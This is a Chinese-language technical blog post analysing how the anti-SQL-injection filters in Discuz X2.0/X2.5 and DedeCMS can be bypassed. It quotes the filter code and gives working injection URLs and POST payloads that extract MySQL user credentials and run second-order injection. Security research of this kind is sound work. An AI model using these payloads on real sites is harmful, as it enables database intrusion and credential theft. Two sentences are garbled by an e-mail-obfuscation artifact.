4、幾種通用防注入程式繞過方法

FLy_鵬程萬里發表於2018-05-18

0x00 前言


目前主流的CMS系統當中都會內建一些防注入的程式,例如Discuz、dedeCMS等,本篇主要介紹繞過方法。

0x01 Discuz x2.0防注入


防注入原理

這裡以Discuz最近爆出的一個外掛的注入漏洞為例,來詳細說明繞過方法。

漏洞本身很簡單,存在於/source/plugin/v63shop/config.inc.php中的第29行getGoods函式中,程式碼如下所示

#!php
function getGoods($id){
      $query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
        $goods = DB::fetch($query);
        $goods['endtime2'] = date('Y-m-d',$goods['endtime']);
        $goods['price2'] = $goods['price'];
        if($goods['sort'] ==2){
            $goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
            $query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
            $last = DB::fetch($query);
            if(is_array($last)){
                $goods['price'] = $last['chujia'];
                $goods['uid']  = $last['uid'];
                $goods['username']  = $last['username'];
                $goods['pm'] = $last;
                if(time()+600> $goods['endtime']){
                    $goods['endtime'] = $last[time]+600;
                    $goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
                }
            }
        }
        return $goods;
}

觸發漏洞的入口點在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如圖所示:
  enter image description here

下面可以構造如下請求觸發漏洞了,如圖所示:
  enter image description here

不過程式內建了一個_do_query_safe函式用來防注入,如圖所示 :
enter image description here

這裡跟蹤一下_do_query_safe()函式的執行,它會對以下關鍵字做過濾,如圖所示:

enter image description here

因為我們的url中出現了union select,所以會被過濾掉。

繞過方法

這裡利用Mysql的一個特性繞過_do_query_safe函式過濾,提交如下url:

http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,
5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user

這裡我們跟蹤一下,繞過的具體過程。它會將/**/中間的內容去掉,然後儲存在$clean變數中,其值為

select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,
10,11,12,13 from mysql.user

再進一步跟蹤,它會將/**/也去掉,然對$clean變數做過濾,如圖所示

enter image description here
此時$clean值,如圖所示
enter image description here

此時$clean變數中不在含有危險字串,繞過_do_query_safe函式過濾,成功注入,截圖如下:  enter image description here

0x02 Discuz X2.5防注入


防注入原理

Discuz X2.5版修改了防注入函式的程式碼,在/config/config_global.php中有如下程式碼,如圖所示
  enter image description here

這裡$_config['security']['querysafe']['afullnote'] 預設被設定為0,重點關注這一點。

這裡跟蹤一下失敗的原因,如圖所示:
  enter image description here

此時觀察一下變數,_do_query_safe($sql)函式會將/**/中的內容去掉,然後存到$clean中,如圖所示: 
enter image description here

其實,程式執行到這裡跟Discuz X2.0沒有區別,$clean的值都一樣。但是關鍵在下面,如圖所示:

enter image description here
因為前面提到$_config['security']['querysafe']['afullnote']=’0’,所以這裡不會替換/**/為空,並且它在後面會判斷$clean中是否會出現“/*”,如圖所示:
 enter image description here

所以注入失敗。

繞過方法

在Mysql當中,[email protected],可以用set @a=’abc’,來為變數賦值。這裡為了合法的構造出一個單引號,目的是為了讓sql正確,我們可以用@'放入sql語句當中,幫助我們繞過防注入程式檢查。

這裡利用如下方式繞過_do_query_safe函式過濾,如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,
concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user

這裡跟蹤一下執行的過程,如圖所示:

enter image description here
這裡有一個if判斷,重點看這句

#!php
$clean = preg_replace("/'(.+?)'/s", '', $sql);

它會將$sql中單引號引起來的字串省略掉,所以我們可以用繞過dede防住ids的思路,利用

@`'` union select @`'`

這樣的方法,在下面的過濾中省掉union select,這裡跟蹤一下,如圖所示:
  enter image description here

這樣便繞過了_do_query_safe函式檢測,成功繞過防注入,如圖所示:
  enter image description here

不過後來Discuz官方釋出了一個修復補丁,但並沒用從根本上解決問題。官方的修復程式碼如下:
enter image description here

加了一個判斷,過濾字串中的@,但是始終沒有修復根本問題,關鍵是上邊的那個if判斷會將單引號之間的內容(包括單引號)替換為空,程式碼如下:

#!php
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
    $clean = preg_replace("/'(.+?)'/s", '', $sql);
}

[email protected],從而繞過它的過濾,利用如下所示:

http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from 
(select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b
 where @`'`

這裡我引入了`'`[email protected],並將第一個@`'`替換為@`''`,這樣便可以替換掉第二個@,這裡我們跟蹤一下程式碼,如圖所示:
  enter image description here

可以看到$clean變為

select * from pre_v63_goods where `id` =``

成功繞過補丁,如圖所示:

enter image description here
 不過這樣做的代價是不能再使用union select了,只能通過報錯獲取資料。

0x03 DedeCMS防注入


防注入原理

這裡我也以最近熱點分析的dedeCMS feedback.php注入漏洞為例,分析如何繞過其防注入系統。不過在這之前,還得先提一下這個漏洞。

漏洞存在於/plus/feedback.php中的第244行,程式碼如下所示

if($comtype == 'comments')
    {
        $arctitle = addslashes($title);
        $typeid = intval($typeid);
        $ischeck = intval($ischeck);
        $feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
        if($msg!='')
        {
            $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                   VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
            $rs = $dsql->ExecuteNoneQuery($inquery);
            if(!$rs)
            {
                ShowMsg(' 發表評論錯誤! ', '-1');
                //echo $dsql->GetError();
                exit();
            }
        }
    }
    //引用回覆
    elseif ($comtype == 'reply')
    {
        $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
        $arctitle = $row['arctitle'];
        $aid =$row['aid'];
        $msg = $quotemsg.$msg;
        $msg = HtmlReplace($msg, 2);
        $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
                VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
        $dsql->ExecuteNoneQuery($inquery);
    }

這裡$title變數未初始化,所以$title可以作為可控變數,所以我們可以進一步控制$arctitle。跟蹤發現$arctitle被直接帶入SQL語句當中,但是這裡執行的INSERT語句入庫之後會將前面addslashes轉義的單引號在會員還原回去。進一步跟蹤下面的程式碼,在第268行,如下所示

$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];

這裡的查詢#@__feedback表正式上面INSERT的那個表,arctitle欄位取出來放到$arctitle變數當中,繼續跟蹤到第273行,這下豁然開朗了,

$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
      VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";

這裡$arctitle變數未作任何處理,就丟進了SQL語句當中,由於我們可以控制$title,雖然$arctitle是被addslashes函式處理過的資料,但是被INSERT到資料庫中又被還原了,所以綜合起來這就造成了二次注入漏洞。

但是這裡如何利用呢,通過跟蹤程式碼發現,整個dede在整個過程中始終沒有輸出資訊,所以我們無法通過構造公式報錯來獲取資料,但是進一步分析程式碼發現#@__feedback表當中的msg欄位會被輸出。由於$arctitle變數是可控的,所以我們可以通過構造SQL語句,將我們要執行的程式碼插入到msg欄位當中,這樣便可以輸出執行的內容了。

繞過方法

眾所周知,dedeCMS內建了一個CheckSql()函式用來防注入,它是80sec開發的通用防注入ids程式,每當執行sql之前都要用它來檢查一遍。其程式碼如下所示:

#!php
function CheckSql($db_string,$querytype='select')
    {
        global $cfg_cookie_encode;
        $clean = '';
        $error='';
        $old_pos = 0;
        $pos = -1;
        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
        $userIP = GetIP();
        $getUrl = GetCurUrl();

        //如果是普通查詢語句,直接過濾一些特殊語法
        if($querytype=='select')
        {
            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

            //$notallow2 = "--|/\*";
            if(preg_match("/".$notallow1."/i", $db_string))
            {
                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
            }
        }

        //完整的SQL檢查
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        //老版本的Mysql並不支援union,常用的程式裡也不使用union,但是一些黑客使用它,所以檢查它
        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="union detect";
        }

        //釋出版本的程式可能比較少包括--,#這樣的註釋,但是黑客經常使用它們
        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
        {
            $fail = TRUE;
            $error="comment detect";
        }

        //這些函式不會被使用,但是黑客會用它來操作檔案,down掉資料庫
        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="slown down detect";
        }
        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }
        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="file fun detect";
        }

        //老版本的MYSQL不支援子查詢,我們的程式裡可能也用得少,但是黑客可以使用它來查詢資料庫敏感資訊
        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail = TRUE;
            $error="sub select detect";
        }
        if (!empty($fail))
        {
            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
        }
        else
        {
            return $db_string;
        }
    }

但通過跟蹤這段程式碼發現,它有個特徵就是會將兩個單引號之間的內容用$s$替換,例如’select’會被替換為$s$,這裡用兩個@`'`包含敏感字,這樣$clean變數中就不會出現敏感字,從而繞過CheckSql()函式檢測。

這裡可以設定title為如下程式碼,一方面繞過ids防注入程式碼檢測,另一方面加一個#註釋掉後面的程式碼,但是還要做一下變形,就是這個char(@`'`)了。因為#@__feedback的所有欄位都被設定為NOT NULL,而@`'`是一個變數,預設為NULL,直接插入@`'`的話會報錯,所以需要以char(@`'`)的方法轉換一下。

',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟蹤程式碼,如圖所示
  enter image description here

如下SQL語句

INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','遊客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');

被替換為了

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);

字串中沒有任何敏感字,成功繞過CheckSql()函式檢測。

POST如下請求給feedback.php,如下所示:

   action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor&notuser=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,

跟蹤程式碼,實際執行的SQL語句跟蹤變數如下所示:  enter image description here

被插入資料庫中的內容,如圖所示:
  enter image description here

下面再POST如下內容給feedback.php,

action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50

跟蹤一下這裡執行的SQL語句,如圖所示
  enter image description here

所以select user()執行了,並且可以作為msg欄位輸出。

0x04 總結


在寫這篇文章之前,我分析了很多常用的cms系統的原始碼,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms這兩個系統中用到通用防注入,但是它們所覆蓋的使用者群已將相當龐大了。如果能在發現程式注入漏洞的情況下,這些繞過方法還是很有價值的。

相關文章